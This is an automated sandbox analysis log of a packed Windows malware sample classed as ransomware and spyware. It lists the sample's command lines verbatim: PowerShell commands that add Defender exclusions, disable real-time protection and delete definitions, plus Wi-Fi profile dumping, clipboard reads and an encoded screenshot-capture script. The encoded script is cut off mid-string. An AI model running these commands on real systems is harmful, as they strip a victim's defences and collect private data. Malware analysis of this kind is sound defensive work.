Source: KpHYfxnJs6.exe, 00000004.00000002.2901575971.000000006F847000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2902814249.000000006F89A000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2903320581.000000006F8B7000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2902098945.000000006F85B000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2899938912.000000006C7BD000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamepython311.dll. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2905634194.000000006F922000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2897932299.000000006C159000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: KpHYfxnJs6.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: Commandline size = 3647
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 3615

Source: KpHYfxnJs6.exe	Static PE information: Section: ZLIB complexity 0.9997178819444444
Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9979877861815208
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9909470942982456
Source: python311.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9992167078976848
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9968581058808017
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9947857908393501

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@206/55@4/2

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA3CAFC GetLastError,FormatMessageW,

109_2_00007FF6FAA3CAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA3EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		109_2_00007FF6FAA3EF50
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA6B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		109_2_00007FF6FAA6B57C

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA43144 GetDiskFreeSpaceExW,

109_2_00007FF6FAA43144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Mutant created: \Sessions\1\BaseNamedObjects\i
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6188:120:WilError_03

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI73202

Jump to behavior

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: KpHYfxnJs6.exe, 00000004.00000003.2743545312.0000000007A1D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: KpHYfxnJs6.exe	Virustotal: Detection: 43%
Source: KpHYfxnJs6.exe	ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File read: C:\Users\user\Desktop\KpHYfxnJs6.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\KpHYfxnJs6.exe "C:\Users\user\Desktop\KpHYfxnJs6.exe"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Users\user\Desktop\KpHYfxnJs6.exe "C:\Users\user\Desktop\KpHYfxnJs6.exe"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0A